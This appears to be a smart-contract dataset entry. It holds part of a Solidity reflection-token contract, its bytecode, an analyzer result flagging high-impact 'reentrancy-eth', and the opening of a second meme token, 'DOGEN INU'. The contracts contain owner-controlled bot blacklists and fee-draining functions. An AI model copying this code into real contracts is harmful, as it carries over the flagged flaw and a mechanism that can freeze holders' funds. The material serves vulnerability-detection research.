for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _isBuy(address _sender) private view returns (bool) {
return _sender == uniswapV2Pair;
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x6080604052600436106101025760003560e01c806370a0823111610095578063a9059cbb11610064578063a9059cbb1461031c578063b515566a14610359578063c3c8cd8014610382578063c9567bf914610399578063dd62ed3e146103b057610109565b806370a0823114610272578063715018a6146102af5780638da5cb5b146102c657806395d89b41146102f157610109565b8063273123b7116100d1578063273123b7146101de578063313ce567146102075780635932ead1146102325780636fc3eaec1461025b57610109565b806306fdde031461010e578063095ea7b31461013957806318160ddd1461017657806323b872dd146101a157610109565b3661010957005b600080fd5b34801561011a57600080fd5b506101236103ed565b604051610130919061295b565b60405180910390f35b34801561014557600080fd5b50610160600480360381019061015b91906124d5565b61042a565b60405161016d9190612940565b60405180910390f35b34801561018257600080fd5b5061018b610448565b6040516101989190612abd565b60405180910390f35b3480156101ad57600080fd5b506101c860048036038101906101c39190612482565b61045c565b6040516101d59190612940565b60405180910390f35b3480156101ea57600080fd5b50610205600480360381019061020091906123e8565b610535565b005b34801561021357600080fd5b5061021c610625565b6040516102299190612b32565b60405180910390f35b34801561023e57600080fd5b506102596004803603810190610254919061255e565b61062e565b005b34801561026757600080fd5b506102706106e0565b005b34801561027e57600080fd5b50610299600480360381019061029491906123e8565b610752565b6040516102a69190612abd565b60405180910390f35b3480156102bb57600080fd5b506102c46107a3565b005b3480156102d257600080fd5b506102db6108f6565b6040516102e89190612872565b60405180910390f35b3480156102fd57600080fd5b5061030661091f565b604051610313919061295b565b60405180910390f35b34801561032857600080fd5b50610343600480360381019061033e91906124d5565b61095c565b6040516103509190612940565b60405180910390f35b34801561036557600080fd5b50610380600480360381019061037b9190612515565b61097a565b005b34801561038e57600080fd5b50610397610aa4565b005b3480156103a557600080fd5b506103ae610b1e565b005b3480156103bc57600080fd5b506103d760048036038101906103d29190612442565b611080565b6040516103e49190612abd565b60405180910390f35b60606040518060400160405280600e81526020017f4f7368752d6b6169646f20496e75000000000000000000000000000000000000815250905090565b600061043e610437611107565b848461110f565b6001905092915050565b60006b033b2e3c9fd0803ce8000000905090565b60006104698484846112da565b61052a84610475611107565b610525856040518060600160405280602881526020016131e760289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006104db611107565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117b89092919063ffffffff16565b61110f565b600190509392505050565b61053d611107565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105c190612a1d565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b610636611107565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106c3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106ba90612a1d565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610721611107565b73ffffffffffffffffffffffffffffffffffffffff161461074157600080fd5b600047905061074f8161181c565b50565b600061079c600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611917565b9050919050565b6107ab611107565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610838576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161082f90612a1d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600e81526020017f4f7368752d6b6169646f20496e75000000000000000000000000000000000000815250905090565b6000610970610969611107565b84846112da565b6001905092915050565b610982611107565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a0f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a0690612a1d565b60405180910390fd5b60005b8151811015610aa057600160066000848481518110610a3457610a33612e7a565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610a9890612dd3565b915050610a12565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610ae5611107565b73ffffffffffffffffffffffffffffffffffffffff1614610b0557600080fd5b6000610b1030610752565b9050610b1b81611985565b50565b610b26611107565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610bb3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610baa90612a1d565b60405180910390fd5b600f60149054906101000a900460ff1615610c03576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bfa90612a9d565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610c9630600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166b033b2e3c9fd0803ce800000061110f565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610cdc57600080fd5b505afa158015610cf0573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d149190612415565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610d7657600080fd5b505afa158015610d8a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610dae9190612415565b6040518363ffffffff1660e01b8152600401610dcb92919061288d565b602060405180830381600087803b158015610de557600080fd5b505af1158015610df9573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e1d9190612415565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610ea630610752565b600080610eb16108f6565b426040518863ffffffff1660e01b8152600401610ed3969594939291906128df565b6060604051808303818588803b158015610eec57600080fd5b505af1158015610f00573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f2591906125b8565b5050506001600f60166101000a81548160ff0219169083151502179055506001600f60176101000a81548160ff0219169083151502179055506a295be96e640669720000006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161102a9291906128b6565b602060405180830381600087803b15801561104457600080fd5b505af1158015611058573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061107c919061258b565b5050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561117f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161117690612a7d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156111ef576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111e6906129bd565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516112cd9190612abd565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561134a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161134190612a5d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156113ba576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113b19061297d565b60405180910390fd5b600081116113fd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113f490612a3d565b60405180910390fd5b6114056108f6565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561147357506114436108f6565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156117a857600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615801561151c5750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b61152557600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156115d05750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116265750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b801561163e5750600f60179054906101000a900460ff165b156116ee5760105481111561165257600080fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541061169d57600080fd5b601e426116aa9190612bf3565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b60006116f930610752565b9050600f60159054906101000a900460ff161580156117665750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b801561177e5750600f60169054906101000a900460ff165b156117a65761178c81611985565b600047905060008111156117a4576117a34761181c565b5b505b505b6117b3838383611c0d565b505050565b6000838311158290611800576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117f7919061295b565b60405180910390fd5b506000838561180f9190612cd4565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61186c600284611c1d90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611897573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6118e8600284611c1d90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611913573d6000803e3d6000fd5b5050565b600060085482111561195e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119559061299d565b60405180910390fd5b6000611968611c67565b905061197d8184611c1d90919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156119bd576119bc612ea9565b5b6040519080825280602002602001820160405280156119eb5781602001602082028036833780820191505090505b5090503081600081518110611a0357611a02612e7a565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611aa557600080fd5b505afa158015611ab9573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611add9190612415565b81600181518110611af157611af0612e7a565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611b5830600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461110f565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611bbc959493929190612ad8565b600060405180830381600087803b158015611bd657600080fd5b505af1158015611bea573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b611c18838383611c92565b505050565b6000611c5f83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611e5d565b905092915050565b6000806000611c74611ec0565b91509150611c8b8183611c1d90919063ffffffff16565b9250505090565b600080600080600080611ca487611f2b565b955095509550955095509550611d0286600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611f9390919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611d9785600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611fdd90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611de38161203b565b611ded84836120f8565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051611e4a9190612abd565b60405180910390a3505050505050505050565b60008083118290611ea4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e9b919061295b565b60405180910390fd5b5060008385611eb39190612c49565b9050809150509392505050565b6000806000600854905060006b033b2e3c9fd0803ce80000009050611efc6b033b2e3c9fd0803ce8000000600854611c1d90919063ffffffff16565b821015611f1e576008546b033b2e3c9fd0803ce8000000935093505050611f27565b81819350935050505b9091565b6000806000806000806000806000611f488a600a54600b54612132565b9250925092506000611f58611c67565b90506000806000611f6b8e8787876121c8565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000611fd583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506117b8565b905092915050565b6000808284611fec9190612bf3565b905083811015612031576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612028906129dd565b60405180910390fd5b8091505092915050565b6000612045611c67565b9050600061205c828461225190919063ffffffff16565b90506120b081600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611fdd90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b61210d82600854611f9390919063ffffffff16565b60088190555061212881600954611fdd90919063ffffffff16565b6009819055505050565b60008060008061215e6064612150888a61225190919063ffffffff16565b611c1d90919063ffffffff16565b90506000612188606461217a888b61225190919063ffffffff16565b611c1d90919063ffffffff16565b905060006121b1826121a3858c611f9390919063ffffffff16565b611f9390919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806121e1858961225190919063ffffffff16565b905060006121f8868961225190919063ffffffff16565b9050600061220f878961225190919063ffffffff16565b905060006122388261222a8587611f9390919063ffffffff16565b611f9390919063ffffffff16565b9050838184965096509650505050509450945094915050565b60008083141561226457600090506122c6565b600082846122729190612c7a565b90508284826122819190612c49565b146122c1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122b8906129fd565b60405180910390fd5b809150505b92915050565b60006122df6122da84612b72565b612b4d565b9050808382526020820190508285602086028201111561230257612301612edd565b5b60005b858110156123325781612318888261233c565b845260208401935060208301925050600181019050612305565b5050509392505050565b60008135905061234b816131a1565b92915050565b600081519050612360816131a1565b92915050565b600082601f83011261237b5761237a612ed8565b5b813561238b8482602086016122cc565b91505092915050565b6000813590506123a3816131b8565b92915050565b6000815190506123b8816131b8565b92915050565b6000813590506123cd816131cf565b92915050565b6000815190506123e2816131cf565b92915050565b6000602082840312156123fe576123fd612ee7565b5b600061240c8482850161233c565b91505092915050565b60006020828403121561242b5761242a612ee7565b5b600061243984828501612351565b91505092915050565b6000806040838503121561245957612458612ee7565b5b60006124678582860161233c565b92505060206124788582860161233c565b9150509250929050565b60008060006060848603121561249b5761249a612ee7565b5b60006124a98682870161233c565b93505060206124ba8682870161233c565b92505060406124cb868287016123be565b9150509250925092565b600080604083850312156124ec576124eb612ee7565b5b60006124fa8582860161233c565b925050602061250b858286016123be565b9150509250929050565b60006020828403121561252b5761252a612ee7565b5b600082013567ffffffffffffffff81111561254957612548612ee2565b5b61255584828501612366565b91505092915050565b60006020828403121561257457612573612ee7565b5b600061258284828501612394565b91505092915050565b6000602082840312156125a1576125a0612ee7565b5b60006125af848285016123a9565b91505092915050565b6000806000606084860312156125d1576125d0612ee7565b5b60006125df868287016123d3565b93505060206125f0868287016123d3565b9250506040612601868287016123d3565b9150509250925092565b60006126178383612623565b60208301905092915050565b61262c81612d08565b82525050565b61263b81612d08565b82525050565b600061264c82612bae565b6126568185612bd1565b935061266183612b9e565b8060005b83811015612692578151612679888261260b565b975061268483612bc4565b925050600181019050612665565b5085935050505092915050565b6126a881612d1a565b82525050565b6126b781612d5d565b82525050565b60006126c882612bb9565b6126d28185612be2565b93506126e2818560208601612d6f565b6126eb81612eec565b840191505092915050565b6000612703602383612be2565b915061270e82612efd565b604082019050919050565b6000612726602a83612be2565b915061273182612f4c565b604082019050919050565b6000612749602283612be2565b915061275482612f9b565b604082019050919050565b600061276c601b83612be2565b915061277782612fea565b602082019050919050565b600061278f602183612be2565b915061279a82613013565b604082019050919050565b60006127b2602083612be2565b91506127bd82613062565b602082019050919050565b60006127d5602983612be2565b91506127e08261308b565b604082019050919050565b60006127f8602583612be2565b9150612803826130da565b604082019050919050565b600061281b602483612be2565b915061282682613129565b604082019050919050565b600061283e601783612be2565b915061284982613178565b602082019050919050565b61285d81612d46565b82525050565b61286c81612d50565b82525050565b60006020820190506128876000830184612632565b92915050565b60006040820190506128a26000830185612632565b6128af6020830184612632565b9392505050565b60006040820190506128cb6000830185612632565b6128d86020830184612854565b9392505050565b600060c0820190506128f46000830189612632565b6129016020830188612854565b61290e60408301876126ae565b61291b60608301866126ae565b6129286080830185612632565b61293560a0830184612854565b979650505050505050565b6000602082019050612955600083018461269f565b92915050565b6000602082019050818103600083015261297581846126bd565b905092915050565b60006020820190508181036000830152612996816126f6565b9050919050565b600060208201905081810360008301526129b681612719565b9050919050565b600060208201905081810360008301526129d68161273c565b9050919050565b600060208201905081810360008301526129f68161275f565b9050919050565b60006020820190508181036000830152612a1681612782565b9050919050565b60006020820190508181036000830152612a36816127a5565b9050919050565b60006020820190508181036000830152612a56816127c8565b9050919050565b60006020820190508181036000830152612a76816127eb565b9050919050565b60006020820190508181036000830152612a968161280e565b9050919050565b60006020820190508181036000830152612ab681612831565b9050919050565b6000602082019050612ad26000830184612854565b92915050565b600060a082019050612aed6000830188612854565b612afa60208301876126ae565b8181036040830152612b0c8186612641565b9050612b1b6060830185612632565b612b286080830184612854565b9695505050505050565b6000602082019050612b476000830184612863565b92915050565b6000612b57612b68565b9050612b638282612da2565b919050565b6000604051905090565b600067ffffffffffffffff821115612b8d57612b8c612ea9565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000612bfe82612d46565b9150612c0983612d46565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612c3e57612c3d612e1c565b5b828201905092915050565b6000612c5482612d46565b9150612c5f83612d46565b925082612c6f57612c6e612e4b565b5b828204905092915050565b6000612c8582612d46565b9150612c9083612d46565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612cc957612cc8612e1c565b5b828202905092915050565b6000612cdf82612d46565b9150612cea83612d46565b925082821015612cfd57612cfc612e1c565b5b828203905092915050565b6000612d1382612d26565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000612d6882612d46565b9050919050565b60005b83811015612d8d578082015181840152602081019050612d72565b83811115612d9c576000848401525b50505050565b612dab82612eec565b810181811067ffffffffffffffff82111715612dca57612dc9612ea9565b5b80604052505050565b6000612dde82612d46565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415612e1157612e10612e1c565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b6131aa81612d08565b81146131b557600080fd5b50565b6131c181612d1a565b81146131cc57600080fd5b50565b6131d881612d46565b81146131e357600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212206c209d982f5de2f8ab3d6bdff967335384e307ebe80e1bea9010b6f2caad4ebe64736f6c63430008070033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 5,960 |
0x7241Dc25595dF101c05fF4bF674E6083686E0AD0
|
/**
*Submitted for verification at Etherscan.io on 2022-03-07
*/
/*
Telegram: https://t.me/dogeninu
Telegram: https://t.me/dogeninu
Telegram: https://t.me/dogeninu
*/
//SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract DOGEN is Context, IERC20, Ownable {
mapping (address => uint) private _owned;
mapping (address => mapping (address => uint)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isBot;
mapping (address => User) private cooldown;
uint private constant _totalSupply = 1e10 * 10**9;
string public constant name = unicode"DOGEN INU";
string public constant symbol = unicode"DOGENINU";
uint8 public constant decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address payable public _TaxAdd;
address public uniswapV2Pair;
uint public _buyFee = 12;
uint public _sellFee = 12;
uint private _feeRate = 15;
uint public _maxBuyAmount;
uint public _maxHeldTokens;
uint public _launchedAt;
bool private _tradingOpen;
bool private _inSwap = false;
bool public _useImpactFeeSetter = false;
struct User {
uint buy;
bool exists;
}
event FeeMultiplierUpdated(uint _multiplier);
event ImpactFeeSetterUpdated(bool _usefeesetter);
event FeeRateUpdated(uint _rate);
event FeesUpdated(uint _buy, uint _sell);
event TaxAddUpdated(address _taxwallet);
modifier lockTheSwap {
_inSwap = true;
_;
_inSwap = false;
}
constructor (address payable TaxAdd) {
_TaxAdd = TaxAdd;
_owned[_msgSender()] = _totalSupply;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[TaxAdd] = true;
_isExcludedFromFee[address(0xdead)] = true;
emit Transfer(address(0), _msgSender(), _totalSupply);
}
function balanceOf(address account) public view override returns (uint) {
return _owned[account];
}
function transfer(address recipient, uint amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function totalSupply() public pure override returns (uint) {
return _totalSupply;
}
function allowance(address owner, address spender) public view override returns (uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public override returns (bool) {
_transfer(sender, recipient, amount);
uint allowedAmount = _allowances[sender][_msgSender()] - amount;
_approve(sender, _msgSender(), allowedAmount);
return true;
}
function _approve(address owner, address spender, uint amount) private {
